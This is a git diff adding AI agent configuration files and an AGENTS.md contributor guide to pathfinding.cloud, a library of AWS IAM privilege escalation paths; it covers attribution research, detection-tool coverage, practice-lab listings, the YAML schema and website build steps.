+   - Search for the required permissions (e.g., "iam:CreateAccessKey privilege escalation")
+   - Look for blog posts from Rhino Security Labs, Bishop Fox, AWS documentation, etc.
+   - Check common sources: hackingthe.cloud, rhinosecuritylabs.com, github.com/bishopfox, cloud.hacktricks.xyz
+   - **Check PMapper source code**: https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing
+     - PMapper was often the first to document privilege escalation paths in code before blog posts
+     - When PMapper is the first known source, attribute to Erik Steringer (NCC Group)
+3. Identify the discoverer if possible (usually from the original blog post or research paper)
+4. Determine if this path is a derivative of another existing path in the repository
+   - Check if a more general or specific version of this path already exists
+   - Look for paths with similar permission combinations
+5. Format the findings according to @SCHEMA.md. You must add `discoveryAttribution` (required).
+
+   **IMPORTANT:** The `discoveryAttribution` field is an OBJECT (not an array) with three possible sub-objects:
+   - `firstDocumented` (required): Who first documented THIS specific path
+   - `derivativeOf` (optional): What path this is derived from and the modification
+   - `ultimateOrigin` (optional): The original discovery if this is a multi-level derivative (skip if same as derivativeOf.pathId)
+
+   **For paths with single, clear attribution (original discovery):**
+   ```yaml
+   discoveryAttribution:
+     firstDocumented:
+       author: Nick Spagnola
+       organization: Rhino Security Labs
+       date: 2020
+       link: https://rhinosecuritylabs.com/aws/weaponizing-ecs-task-definitions-steal-credentials-running-containers/
+   references:
+   - title: "Weaponizing ECS Task Definitions to Steal Credentials From Running Containers"
+     url: "https://rhinosecuritylabs.com/aws/weaponizing-ecs-task-definitions-steal-credentials-running-containers/"
+   ```
+
+   **For derivative paths documented by external sources:**
+   ```yaml
+   discoveryAttribution:
+     firstDocumented:
+       source: HackTricks  # Use 'source' for organizations/websites
+       link: https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/
+     derivativeOf:
+       pathId: ecs-004
+       modification: "Uses ecs:CreateService instead of ecs:RunTask to execute the malicious task definition"
+     ultimateOrigin:  # Only include if this is a multi-level derivative
+       pathId: ecs-004
+       author: Nick Spagnola
+       organization: Rhino Security Labs
+       date: 2020
+       link: https://rhinosecuritylabs.com/aws/weaponizing-ecs-task-definitions-steal-credentials-running-containers/
+   references:
+   - title: "AWS ECS Privilege Escalation - HackTricks"
+     url: "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/"
+   - title: "Weaponizing ECS Task Definitions to Steal Credentials From Running Containers (Original Research)"
+     url: "https://rhinosecuritylabs.com/aws/weaponizing-ecs-task-definitions-steal-credentials-running-containers/"
+   ```
+
+   **For paths first documented on pathfinding.cloud:**
+   ```yaml
+   discoveryAttribution:
+     firstDocumented:
+       author: Seth Art
+       organization: Datadog
+       date: 2025
+     derivativeOf:
+       pathId: ecs-003
+       modification: "Adds ecs:CreateCluster permission for scenarios where no ECS cluster exists"
+     ultimateOrigin:
+       pathId: ecs-004
+       author: Nick Spagnola
+       organization: Rhino Security Labs
+       date: 2020
+       link: https://rhinosecuritylabs.com/aws/weaponizing-ecs-task-definitions-steal-credentials-running-containers/
+   references:
+   - title: "Weaponizing ECS Task Definitions to Steal Credentials From Running Containers (Original Research)"
+     url: "https://rhinosecuritylabs.com/aws/weaponizing-ecs-task-definitions-steal-credentials-running-containers/"
+   ```
+
+   **Key Notes:**
+   - Use `author` for individual researchers (e.g., "Nick Spagnola", "Erik Steringer")
+   - Use `source` for organizations/websites (e.g., "HackTricks", "pathfinding.cloud")
+   - Do NOT use both `author` and `source` - pick one
+   - Skip `ultimateOrigin` if it would be the same as `derivativeOf.pathId`
+   - Use year-only dates (2018, 2020, 2025) not full dates
+   - The `modification` field should clearly explain what makes this path different from its source
+
+   **Determining if a path is a derivative:**
+   - Same core technique but different permission (e.g., UpdateStack vs CreateStack) → derivative
+   - Adds an additional permission to handle a prerequisite (e.g., + CreateCluster) → derivative
+   - Different service but same PassRole pattern (e.g., Lambda vs EC2) → NOT a derivative (separate paths)
+   - If unsure, research the chronology - did one path inspire or enable the other?
+
+   **References section guidance:**
+   - Include PRIMARY sources that document THIS specific attack path
+   - Include original research blog posts, not just general documentation
+   - Do NOT include generic AWS documentation unless it specifically discusses the attack
+   - Do NOT add practice environments here (those go in `learningEnvironments`)
+   - Order: Original research first, then derivative documentation
+
+5. **Use the Edit tool to add `discoveryAttribution` and `references` sections to the YAML file**
+   - Add `discoveryAttribution` with proper structure (firstDocumented, derivativeOf, ultimateOrigin)
+   - Add after the `recommendation` or `limitations` section
+   - Keep `references` focused on attack path documentation (not tools or practice environments)
+6. Validate your changes: `python3 scripts/validate-schema.py data/paths/{service}/{file}.yaml`
+
+**Time limit:** Complete your research and file modifications within 3 minutes. If you haven't finished by then, add what you have and mark unknown fields as "Unknown"."""
diff --git a/.codex/agents/detection-tools.toml b/.codex/agents/detection-tools.toml
new file mode 100644
index 00000000..760b8ce0
--- /dev/null
+++ b/.codex/agents/detection-tools.toml
@@ -0,0 +1,106 @@
+name = "detection-tools"
+description = "Research and add detection tool coverage to attack paths"
+developer_instructions = """
+# Detection Tools Coverage Agent
+
+You are the detection tools researcher for pathfinding.cloud attacks.
+Your role is to research which open source security tools can detect each privilege escalation path and add that information to the YAML file.
+
+## Your Job
+
+Research the following open source security tools to determine if they can detect this specific privilege escalation path, then add a `detectionTools` section to the YAML file.
+
+## Supported Tools
+
+Check these tools in order of priority (most comprehensive detection engines first):
+
+### 1. **PMapper** (Principal Mapper)
+- **Repository**: https://github.com/nccgroup/PMapper
+- **Detection file**: `principalmapper/graphing/iam_edges.py`
+- **What to look for**: Search for functions that check for the specific permission combination
+- **Key patterns**: Look for edge creation functions that match the required permissions
+- **Example**: If the path uses `iam:PassRole + lambda:CreateFunction`, search for "CreateFunction" in iam_edges.py
+
+### 2. **Cloudsplaining**
+- **Repository**: https://github.com/salesforce/cloudsplaining
+- **Detection file**: `cloudsplaining/shared/constants.py`
+- **What to look for**: Check the `PRIVILEGE_ESCALATION_METHODS` within `https://github.com/salesforce/cloudsplaining/blob/master/cloudsplaining/shared/constants.py` constant for the required permissions
+- **Key patterns**: Look for permission names in the privilege escalation list
+- **Example**: If the path uses `iam:CreateAccessKey`, check if it's in PRIVESC_ACTIONS
+
+### 3. **Pacu**
+- **Repository**: https://github.com/RhinoSecurityLabs/pacu
+- **Detection file**: `pacu/modules/iam__privesc_scan/main.py`
+- **What to look for**: Search for method definitions that check the required permissions
+- **Key patterns**: Look for functions like `check_*` or method dictionaries
+- **Example**: Search for "CreateAccessKey" or "PassRole" in main.py
+
+### 4. **Prowler**
+- **Repository**: https://github.com/prowler-cloud/prowler
+- **Search approach**: Use GitHub search within the repo for the permission names. The paths combos are located here: 
+- **What to look for**: Determine if any of the combos match this attack path. 
+- **Key patterns**: Look in the `privilege_escalation_policies_combination` data structure here: `https://github.com/prowler-cloud/prowler/blob/master/prowler/providers/aws/services/iam/lib/privilege_escalation.py` 
+
+
+## Process
+
+1. **Read the target YAML file** to understand:
+   - The required permissions (in the `permissions.required` field)
+   - The attack path category and mechanism
+   - The service(s) involved
+
+2. **Research each tool systematically**:
+   - Use WebFetch to check the specific detection files listed above
+   - Search for the exact permission names (e.g., "CreateAccessKey", "PassRole", "CreateFunction")
+   - For PassRole paths, search for the combination (e.g., "PassRole" AND "CreateFunction")
+   - Verify the tool explicitly checks for this privilege escalation path
+
+3. **Find the specific source code location**:
+   - Get the direct GitHub link to the file/line where detection is implemented
+   - Prefer links with line numbers (e.g., `#L123` or `#L45-L67`)
+   - Example format: `https://github.com/nccgroup/PMapper/blob/master/principalmapper/graphing/iam_edges.py#L234`
+
+4. **Format your findings** according to @SCHEMA.md:
+   ```yaml
+   detectionTools:
+     pmapper: https://github.com/nccgroup/PMapper/blob/master/principalmapper/graphing/iam_edges.py#L123
+     cloudsplaining: https://github.com/salesforce/cloudsplaining/blob/master/cloudsplaining/shared/constants.py#L45
+     pacu: https://github.com/RhinoSecurityLabs/pacu/blob/master/pacu/modules/iam__privesc_scan/main.py#L67
+   ```
+
+5. **Use the Edit tool to add the `detectionTools` section to the YAML file**:
+   - Add after the `references` section (or after `discoveryAttribution` if no references exist)
+   - If NO tools support detection, omit this field entirely (it's optional)
+   - Only include tools that you've verified actually detect this specific path
+   - Use lowercase tool names as keys: `pmapper`, `cloudsplaining`, `pacu`, `prowler`
+
+6. **Validate your changes**:
+   ```bash
+   python3 scripts/validate-schema.py data/paths/{service}/{file}.yaml
+   ```
+
+## Important Guidelines
+
+- **Be thorough**: Check all 5 tools, not just the first one or two
+- **Be accurate**: Only include a tool if it explicitly detects this path
+  - ❌ WRONG: Adding a tool because it "might" detect it
+  - ✅ CORRECT: Adding a tool after verifying it has detection code for this specific path
+- **Link to source**: Always provide the GitHub URL to the detection implementation
+- **Time limit**: Complete your research within 3-4 minutes
+  - If you can't verify all tools in time, add the ones you've confirmed
+  - Don't guess or assume - only add verified tools
+
+## Tool Metadata
+
+Note: Tool metadata (names, descriptions, GitHub repository links) is stored in `metadata.json`. You only need to add the source code URLs to the YAML file. The frontend will automatically combine your URLs with the metadata to display tool information.
+
+## Example
+
+For a path with `iam:CreateAccessKey`:
+
+```yaml
+detectionTools:
+  pmapper: https://github.com/nccgroup/PMapper/blob/master/principalmapper/graphing/iam_edges.py#L456
+  cloudsplaining: https://github.com/salesforce/cloudsplaining/blob/master/cloudsplaining/shared/constants.py#L23
+  pacu: https://github.com/RhinoSecurityLabs/pacu/blob/master/pacu/modules/iam__privesc_scan/main.py#L89
+```"""
diff --git a/.codex/agents/learning-environments.toml b/.codex/agents/learning-environments.toml
new file mode 100644
index 00000000..cd320fc3
--- /dev/null
+++ b/.codex/agents/learning-environments.toml
@@ -0,0 +1,210 @@
+name = "learning-environments"
+description = "Research and add learning environment information to attack paths"
+developer_instructions = """
+# Learning Environments Agent
+
+You are the learning environments researcher for pathfinding.cloud attacks.
+Your role is to research which learning labs and CTF environments support practicing each privilege escalation path and add that information to the YAML file.
+
+## Your Job
+
+Research the following learning platforms to determine if they have labs/scenarios for this specific privilege escalation path, then add a `learningEnvironments` section to the YAML file.
+
+## Supported Learning Environments
+
+Check these platforms systematically:
+
+### 1. **pathfinding Labs** (Open Source)
+- **Type**: open-source
+- **Repository**: https://github.com/DataDog/pathfinding-labs (IMPORTANT: This repo is still private for now. So you won't be able to do a websearch of the private repo. You should instead read ~/Documents/projects/pathfinding-labs/modules/scenarios/single-account and find the scenario there, but then create a link that will work when the project goes live.)
+- **What to look for**: Check `modules/scenarios/` directory for matching attack paths
+- **Key patterns**: Look for scenario.yaml files that match the required permissions
+- **Search strategy**: Use WebFetch or WebSearch to find scenarios with the specific permissions
+- **Field requirements**:
+  ```yaml
+  pathfinding-labs:
+    type: open-source
+    githubLink: https://github.com/DataDog/pathfinding-labs
+    scenario: "privesc-one-hop/to-admin/iam-passrole+lambda-createfunction"
+    description: "Deploy Terraform into your own AWS account to practice this attack path"
+  ```
+
+### 2. **IAM Vulnerable** (Open Source)
+- **Type**: open-source
+- **Repository**: https://github.com/BishopFox/iam-vulnerable
+- **What to look for**: Check the README or Terraform modules for matching scenarios
+- **Key patterns**: Look for scenario names like "IAM-CreateAccessKey", "IAM-PassRole-EC2"
+- **Search strategy**: Search for permission names in the repository
+- **Field requirements**:
+  ```yaml
+  iam-vulnerable:
+    type: open-source
+    githubLink: https://github.com/BishopFox/iam-vulnerable
+    scenario: "IAM-CreatePolicyVersion"
+    description: "Deploy Terraform into your own AWS account and practice individual exploitation paths"
+  ```
+
+### 3. **CloudGoat** (Open Source)
+- **Type**: open-source
+- **Repository**: https://github.com/RhinoSecurityLabs/cloudgoat
+- **What to look for**: Check scenarios in the repository for matching attack paths
+- **Key patterns**: Look for scenario names and descriptions
+- **Search strategy**: Search for permission names or escalation techniques
+- **Field requirements**:
+  ```yaml
+  cloudgoat:
+    type: open-source
+    githubLink: https://github.com/RhinoSecurityLabs/cloudgoat
+    scenario: "iam_privesc_by_rollback"
+    description: "Deploy vulnerable infrastructure using CloudGoat to practice AWS attacks"
+  ```
+
+### 4. **CloudFoxable** (Open Source)
+- **Type**: open-source
+- **Repository**: https://github.com/BishopFox/cloudfoxable
+- **What to look for**: Check scenarios for matching attack paths
+- **Key patterns**: Look for IAM misconfigurations and privilege escalation scenarios
+- **Search strategy**: Search for permission names or escalation techniques
+- **Field requirements**:
+  ```yaml
+  cloudfoxable:
+    type: open-source
+    githubLink: https://github.com/BishopFox/cloudfoxable
+    scenario: "scenario-name-here"
+    description: "Deploy vulnerable AWS environment using CloudFoxable"
+  ```
+
+### 5. **CYBR.com** (Closed Source / Hosted)
+- **Type**: closed-source
+- **Website**: https://cybr.com
+- **What to look for**: Search their hands-on labs catalog for IAM privilege escalation labs
+- **Search strategy**: Use WebSearch or WebFetch to check https://cybr.com/hands-on-labs/ and search for the permission names
+- **Field requirements**:
+  ```yaml
+  cybr:
+    type: closed-source
+    description: "Hosted learning environment with interactive AWS security labs"
+    scenario: https://cybr.com/hands-on-labs/lab/iam-privilege-escalation/
+    scenarioPricingModel: paid  # or "free" if applicable
+  ```
+
+### 6. **PwnedLabs** (Closed Source / Hosted)
+- **Type**: closed-source
+- **Website**: https://pwnedlabs.io
+- **What to look for**: Search their lab catalog for AWS IAM labs
+- **Search strategy**: Use WebSearch or WebFetch to check their catalog
+- **Field requirements**:
+  ```yaml
+  pwnedlabs:
+    type: closed-source
+    description: "Hosted cloud security labs with AWS privilege escalation scenarios"
+    scenario: https://pwnedlabs.io/labs/lab-name-here
+    scenarioPricingModel: paid  # or "free" if applicable
+  ```
+
+### 7. **HackSmarter** (Closed Source / Hosted)
+- **Type**: closed-source
+- **Website**: https://www.hacksmarter.org/catalog
+- **What to look for**: Search their catalog for AWS security courses/labs
+- **Search strategy**: Use WebFetch to check https://www.hacksmarter.org/catalog
+- **Field requirements**:
+  ```yaml
+  hacksmarter:
+    type: closed-source
+    description: "Cloud security training platform with AWS labs"
+    scenario: https://www.hacksmarter.org/catalog/course-or-lab-name
+    scenarioPricingModel: paid  # or "free" if applicable
+  ```
+
+## Process
+
+1. **Read the target YAML file** to understand:
+   - The required permissions (in the `permissions.required` field)
+   - The attack path name and category
+   - The exploitation technique
+
+2. **Research each learning platform systematically**:
+   - For open-source platforms: Use WebFetch/WebSearch to check their repositories
+   - For closed-source platforms: Use WebFetch/WebSearch to check their websites and lab catalogs
+   - Search for the specific permission names (e.g., "CreateAccessKey", "PassRole + Lambda")
+   - Look for scenario names, descriptions, or lab titles that match
+
+3. **Verify the lab/scenario exists**:
+   - For open-source: Confirm the scenario exists in the repository
+   - For closed-source: Confirm the lab is available on the platform
+   - Get the exact scenario name or URL
+
+4. **Format your findings** according to @SCHEMA.md:
+   ```yaml
+   learningEnvironments:
+     pathfinding-labs:
+       type: open-source
+       githubLink: https://github.com/DataDog/pathfinding-labs
+       scenario: "privesc-one-hop/to-admin/codebuild-startbuild"
+       description: "Deploy Terraform into your own AWS account to practice this attack path"
+     iam-vulnerable:
+       type: open-source
+       githubLink: https://github.com/BishopFox/iam-vulnerable
+       scenario: "IAM-PassRole-CodeBuild"
+       description: "Deploy Terraform into your own AWS account and practice individual exploitation paths"
+     cybr:
+       type: closed-source
+       description: "Hosted learning environment with interactive AWS security labs"
+       scenario: https://cybr.com/hands-on-labs/lab/aws-codebuild-privesc/
+       scenarioPricingModel: paid
+   ```
+
+5. **Use the Edit tool to add the `learningEnvironments` section to the YAML file**:
+   - Add after the `relatedPaths` section (or after `references` if no relatedPaths exist)
+   - If NO environments support this path, omit this field entirely (it's optional)
+   - Only include environments that you've verified have this specific scenario
+
+6. **Validate your changes**:
+   ```bash
+   python3 scripts/validate-schema.py data/paths/{service}/{file}.yaml
+   ```
+
+## Important Guidelines
+
+- **Be thorough**: Check all 7 platforms, prioritizing open-source platforms first
+- **Be accurate**: Only include a platform if they have a lab/scenario for this specific path
+  - ❌ WRONG: Adding a platform because they "probably" have it
+  - ✅ CORRECT: Adding a platform after verifying they have a matching lab
+- **Get exact URLs/names**: For closed-source platforms, provide the direct URL to the lab
+- **Check pricing**: For closed-source platforms, determine if the lab is free or paid
+- **Time limit**: Complete your research within 3-4 minutes
+  - If you can't verify all platforms in time, add the ones you've confirmed
+  - Don't guess or assume - only add verified environments
+
+## Special Note: Pathfinding Labs Integration
+
+If you were given a Pathfinding Labs directory path when this agent was invoked, that means this attack path is DEFINITELY in Pathfinding Labs. In that case:
+- Extract the scenario path from the directory structure
+- Add pathfinding-labs entry with the correct scenario path
+- Then research the other 6 platforms normally
+
+## Field Format Requirements
+
+**Open Source (type: open-source):**
+- MUST have: `type`, `githubLink`, `description`
+- OPTIONAL: `scenario` (scenario name or path within the repo)
+
+**Closed Source (type: closed-source):**
+- MUST have: `type`, `description`, `scenarioPricingModel`
+- RECOMMENDED: `scenario` (full URL to the lab)
+
+## Example Output
+
+```yaml
+learningEnvironments:
+  pathfinding-labs:
+    type: open-source
+    githubLink: https://github.com/DataDog/pathfinding-labs
+    scenario: "privesc-one-hop/to-admin/lambda-createfunction"
+    description: "Deploy Terraform into your own AWS account to practice this attack path"
+  iam-vulnerable:
+    type: open-source
+    githubLink: https://github.com/BishopFox/iam-vulnerable
+    scenario: "IAM-PassRole-Lambda"
+    description: "Deploy Terraform into your own AWS account and practice individual exploitation paths"
+```"""
diff --git a/.github/workflows/deploy.yml b/.github/workflows/deploy.yml
index c93603fe..315d2c98 100644
--- a/.github/workflows/deploy.yml
+++ b/.github/workflows/deploy.yml
@@ -49,6 +49,14 @@ jobs:
         env:
           GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
 
+      # Runs after labs JSON: generate-pathrunner-json.py reads docs/labs.json to
+      # deep-link modules to their matching practice lab.
+      - name: Generate pathrunner JSON
+        run: |
+          python scripts/generate-pathrunner-json.py
+        env:
+          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+
       - name: Set up Node.js (for Playwright hero-image generator)
         uses: actions/setup-node@v4
         with:
diff --git a/AGENTS.md b/AGENTS.md
new file mode 100644
index 00000000..c143c74a
--- /dev/null
+++ b/AGENTS.md
@@ -0,0 +1,380 @@
+# AGENTS.md
+
+This file provides guidance to Codex (Codex.ai/code) when working with code in this repository.
+
+## When to Use Each File
+
+- **AGENTS.md** (this file): Workflow guidance, commands, development tasks, and quick references
+- **SCHEMA.md**: Authoritative field definitions, validation rules, and format specifications
+- **.Codex/AGENTS.md**: Anti-patterns, style guide, and contribution-specific guidance
+
+**Rule of thumb**: Check SCHEMA.md for "what does field X mean?", check this file for "how do I do task Y?"
+
+## Project Overview
+
+**pathfinding.cloud** is a comprehensive, community-maintained library documenting AWS IAM privilege escalation paths. The project consists of:
+
+1. **Data Layer**: Structured YAML files documenting each privilege escalation path
+2. **Validation Layer**: Python scripts to validate YAML against schema
+3. **Website Layer**: Static HTML/CSS/JS site for browsing paths
+4. **CI/CD Layer**: GitHub Actions for validation and deployment
+
+## Terminology: Parent/Child vs Primary/Variant
+
+We use **different terminology in different contexts** for clarity and semantic meaning:
+
+### In YAML Files and Code
+- **`parent` field**: Points to the parent path (e.g., `parent.id: iam-002`)
+- **Why**: Concise, follows common data structure conventions, natural for hierarchical references
+
+### In UI and Documentation
+- **"Primary Technique"**: The foundational/original technique (what YAML calls the "parent")
+- **"Variant"**: A modification that expands applicability by removing prerequisites (what YAML calls the "child")
+- **Why**: Semantic clarity - "variant" explains WHAT it is, not just that there's a hierarchy
+
+### Key Concepts
+- **Primary techniques** have no `parent` field - they are the foundational attacks
+- **Variant techniques** have a `parent` field with `id` and `modification`
+- **Variants add required permissions** that remove prerequisites from the primary technique
+- **Example**: IAM-002 (primary) requires < 2 keys. IAM-003 (variant) adds DeleteAccessKey to work even with 2 keys.
+
+### When Contributing
+- In YAML: Use `parent` field for variants
+- In documentation/comments: Refer to "primary techniques" and "variants"
+- In UI text: Display "Primary Technique" and "Variants (N)"
+
+See [SCHEMA.md](SCHEMA.md#parent-object-optional) for detailed parent/child relationship criteria.
+
+## Quick Start Commands
+
+### Essential Commands
+
+```bash
+# Install dependencies
+pip install -r requirements.txt
+
+# Validate a single file
+python scripts/validate-schema.py data/paths/{service}/{service}-###.yaml
+
+# Validate all files
+python scripts/validate-schema.py data/paths/
+
+# Generate JSON for website
+python scripts/generate-json.py
+
+# Test website locally (with SPA routing support)
+cd docs && python3 dev-server.py
+# Then visit http://localhost:8888
+```
+
+### Per-Lab Social Sharing (OG/Twitter unfurls)
+
+Each lab gets a static stub at `docs/labs/{slug}/index.html` with lab-specific
+OG/Twitter meta tags, plus a hero image at `docs/labs/{slug}/hero.png`
+rendered from the lab's attack map. Required because social crawlers don't
+execute JavaScript, so the SPA's client-side meta tag updates are invisible
+to them.
+
+```bash
+# One-time setup (Playwright + Chromium for headless rendering)
+npm install
+npx playwright install chromium
+
+# Regenerate per-lab hero images (incremental: skips labs whose PNG is
+# newer than the lab JSON and the renderer JS/CSS files)
+node scripts/generate-lab-hero-images.js
+node scripts/generate-lab-hero-images.js --force          # force-regen all
+node scripts/generate-lab-hero-images.js --slug iam-002   # single lab
+
+# Regenerate per-lab HTML stubs (cheap, always runs all labs)
+python scripts/generate-lab-stubs.py
+```
+
+Run hero-image generation BEFORE stub generation so stubs that find a per-lab
+PNG can reference it. If a PNG is missing, the stub falls back to the generic
+`/images/pathfinding-cloud-labs.png`.
+
+### GitHub Token for Better Contributor Info
+
+```bash
+# Set GitHub token (optional but recommended)
+export GITHUB_TOKEN=your_github_pat_here
+python scripts/generate-json.py
+
+# Token scopes:
+# - Private repos: 'repo' scope
+# - Public repos: 'public_repo' scope
+# Create at: https://github.com/settings/tokens/new
+```
+
+## Architecture
+
+### Data Structure
+
+All privilege escalation paths are stored as individual YAML files in `data/paths/{service}/`:
+- Files follow naming convention: `{service}-{number}.yaml` (e.g., `iam-001.yaml`)
+- Each file adheres to the schema defined in [SCHEMA.md](SCHEMA.md)
+- Files are organized by primary service (iam, ec2, lambda, ssm, cloudformation, etc.)
+
+### ID Numbering Convention
+
+- **IAM-focused paths**: `iam-001`, `iam-002`, etc.
+- **PassRole combinations**: Use the service of the resource being created/manipulated
+  - `iam:PassRole+ec2:RunInstances` → `ec2-001` (not iam-###)
+  - `iam:PassRole+lambda:CreateFunction` → `lambda-001`
+- **Other services**: `ssm-001`, `ec2-002`, etc.
+- **Sequential numbering**: IDs are assigned sequentially within each service
+
+### Website Architecture (SPA with Client-Side Routing)
+
+The website is a Single Page Application (SPA) with client-side routing:
+- **List view**: `/` - Shows all paths with search/filter functionality
+- **Detail view**: `/paths/{id}` - Shows individual path details (e.g., `/paths/iam-001`)
+- **Routing**: Uses History API (`pushState`/`popState`) for proper URLs
+- **No page reloads**: Navigation is instant, only content changes
+- **SEO ready**: Dynamic meta tags per page, Open Graph support
+- **Analytics ready**: Real pageviews on route changes
+- **Backward compatible**: Old hash URLs (`#iam-001`) redirect to new format
+
+**Directory Structure:**
+- All website files are in the `docs/` directory (GitHub Pages compatible)
+- Source data (YAML files) remain at `data/paths/` in repository root
+- Generated files (`paths.json`, `metadata.json`) are created in `docs/`
+
+**Development:**
+- Use `docs/dev-server.py` for local testing (handles SPA routing)
+- Run from project root: `cd docs && python3 dev-server.py`
+- Direct file opening won't support routing features
+
+**Production (GitHub Pages):**
+- GitHub Pages deploys only the `docs/` directory
+- `404.html` implements the SPA routing pattern for GitHub Pages
+- When users access direct URLs (e.g., `/paths/iam-001`), GitHub Pages serves `404.html`
+- The 404 page captures the requested path in sessionStorage and redirects to `index.html`
+- The client-side router in `docs/js/app.js` reads sessionStorage and restores the original URL
+- This allows direct linking and page refreshes to work correctly on GitHub Pages
+- All URLs work when shared, bookmarked, or accessed directly
+
+## Contribution Workflow
+
+### Adding a New Path
+
+1. **Determine the next ID:**
+   ```bash
+   ls data/paths/{service}/ | sort | tail -n 1
+   ```
+
+2. **Create YAML file:** `data/paths/{service}/{service}-{number}.yaml`
+
+3. **Follow the schema:** See [SCHEMA.md](SCHEMA.md) for complete field definitions
+
+4. **Validate:**
+   ```bash
+   python scripts/validate-schema.py data/paths/{service}/{service}-{number}.yaml
+   ```
+
+5. **Enhance with specialized agents** (optional but recommended):
+   - Use `detection-tools` agent to add detection tool coverage
+   - Use `learning-environments` agent to add practice labs
+   - Use `add-vis` agent to add attack visualization
+   - Use `attribution` agent to find discoverer information
+
+6. **Generate JSON and test:**
+   ```bash
+   python scripts/generate-json.py
+   cd docs && python3 dev-server.py
+   ```
+
+7. **Submit PR** (validation runs automatically)
+
+### Updating Existing Paths
+
+- Always validate after editing
+- Check `relatedPaths` field to ensure consistency with related paths
+- Update the website by regenerating JSON: `python scripts/generate-json.py`
+
+### Adding a New Service
+
+1. Create directory: `mkdir data/paths/{service}`
+2. Add first path: `data/paths/{service}/{service}-001.yaml`
+3. The service will automatically appear in website filters once deployed
+
+## Field Quick Reference
+
+For complete field specifications, see [SCHEMA.md](SCHEMA.md).
+
+### Required Fields
+
+| Field | Type | Quick Description | Details |
+|-------|------|-------------------|---------|
+| `id` | string | Unique identifier (e.g., `iam-001`) | [SCHEMA.md](SCHEMA.md#id-string) |
+| `name` | string | IAM permission syntax (e.g., `iam:PassRole + ec2:RunInstances`) | [SCHEMA.md](SCHEMA.md#name-string) |
+| `category` | enum | Type of escalation (`self-escalation`, `principal-access`, `new-passrole`, `credential-access`, `existing-passrole`) | [SCHEMA.md](SCHEMA.md#category-enum) |
+| `services` | array | AWS services involved (e.g., `[iam, ec2]`) | [SCHEMA.md](SCHEMA.md#services-array-of-strings) |
+| `permissions` | object | Required and additional permissions | [SCHEMA.md](SCHEMA.md#permissions-object) |
+| `description` | string | How the privilege escalation works | [SCHEMA.md](SCHEMA.md#description-string) |
+| `exploitationSteps` | object | Step-by-step commands for different tools | [SCHEMA.md](SCHEMA.md#exploitationsteps-object) |
+| `recommendation` | string | Prevention and detection strategies | [SCHEMA.md](SCHEMA.md#recommendation-string) |
+| `discoveryAttribution` | object | Rich attribution info (author, source, derivatives) | [SCHEMA.md](SCHEMA.md#discoveryattribution-object) |
+
+### Optional Fields (Commonly Used)
+
+| Field | Type | Quick Description | Details |
+|-------|------|-------------------|---------|
+| `status` | enum | `draft` for partial submissions, omit for complete | [CONTRIBUTING.md](CONTRIBUTING.md#option-2-submit-a-draft-pr) |
+| `prerequisites` | object/array | Conditions required for escalation | [SCHEMA.md](SCHEMA.md#prerequisites-object-or-array) |
+| `limitations` | string | When admin vs limited access is achieved | [SCHEMA.md](SCHEMA.md#limitations-string-optional) |
+| `references` | array | External links and documentation | [SCHEMA.md](SCHEMA.md#references-array-of-objects) |
+| `relatedPaths` | array | Related path IDs | [SCHEMA.md](SCHEMA.md#relatedpaths-array-of-strings) |
+| `detectionTools` | object | Open source tools that detect this path | [SCHEMA.md](SCHEMA.md#detectiontools-object) |
+| `learningEnvironments` | object | Practice labs and CTF environments | [SCHEMA.md](SCHEMA.md#learningenvironments-object) |
+| `attackVisualization` | object | Interactive attack flow diagram | [SCHEMA.md](SCHEMA.md#attackvisualization-object) |
+
+### YAML Field Order (Convention)
+
+While not enforced by validation, this order improves readability:
+
+1. `id`, `name`, `category`, `services`
+2. `permissions`
+3. `description`
+4. `prerequisites` (if applicable)
+5. `exploitationSteps`
+6. `recommendation`
+7. `limitations` (if applicable - especially for PassRole paths)
+8. `nextSteps` (if applicable - guidance for multi-hop attacks)
+9. `discoveryAttribution` (required - rich attribution with author/source/derivatives)
+10. `references` (if available)
+11. `relatedPaths` (if applicable)
+12. `detectionTools` (if available - added by detection-tools agent)
+13. `learningEnvironments` (if available - added by learning-environments agent)
+14. `attackVisualization` (if available - added by add-vis agent)
+
+## Common Development Tasks
+
+### Fixing Validation Errors
+
+Common issues:
+- **ID format**: Must be `service-###` with exactly 3 digits
+- **Category**: Must be one of: `self-escalation`, `principal-access`, `new-passrole`, `credential-access`, `existing-passrole`
+- **Step numbering**: Must start at 1 and be sequential
+- **Required fields**: All fields in `REQUIRED_FIELDS` dict must be present
+
+### Testing Website Changes
+
+1. Generate JSON: `python scripts/generate-json.py`
+2. Start dev server: `cd docs && python3 dev-server.py`
+3. Visit `http://localhost:8888` in browser
+4. Test search, filters, path detail pages, and navigation
+5. Test direct URLs like `http://localhost:8888/paths/iam-001`
+6. Test browser back/forward buttons
+7. Check browser console for JavaScript errors
+
+**Note:** The website uses client-side routing (SPA). Direct file opening won't support routing features (refresh, direct URLs). Always use the dev server for local testing.
+
+### Using Specialized Agents
+
+Codex has specialized agents for enhancing attack paths:
+
+- **detection-tools**: Research and add detection tool coverage
+- **learning-environments**: Research and add practice labs
+- **add-vis**: Create interactive attack visualizations
+- **attribution**: Find discoverer and reference information
+
+Run multiple agents concurrently for efficiency:
+```
+Can you task the detection-tools, learning-environments, add-vis, and attribution agents concurrently?
+```
+
+## Validation Script
+
+`scripts/validate-schema.py` checks:
+- All required fields are present
+- Field types match expectations
+- ID format is correct (`service-###`)
+- Category values are allowed
+- Prerequisites have valid types
+- Exploitation steps are numbered sequentially from 1
+- No unexpected fields
+
+### Draft Mode
+
+The validation script supports draft submissions with relaxed requirements:
+
+```bash
+# Normal mode - allows drafts (for PRs)
+python scripts/validate-schema.py data/paths/
+
+# Strict mode - no drafts allowed (for main branch)
+python scripts/validate-schema.py data/paths/ --no-draft
+```
+
+**Draft paths** (`status: draft`) only require: id, name, category, services, permissions.required, description
+**Complete paths** (no status) require all fields including exploitationSteps, recommendation, discoveryAttribution
+
+## Website Generation
+
+The website loads data from `docs/paths.json`, which is generated from YAML files:
+1. GitHub Actions runs `scripts/generate-json.py` on every push to main
+2. This converts all YAML files to a single JSON file
+3. The website JavaScript loads and displays the JSON data
+4. Changes to YAML files automatically update the website
+
+## Key Files
+
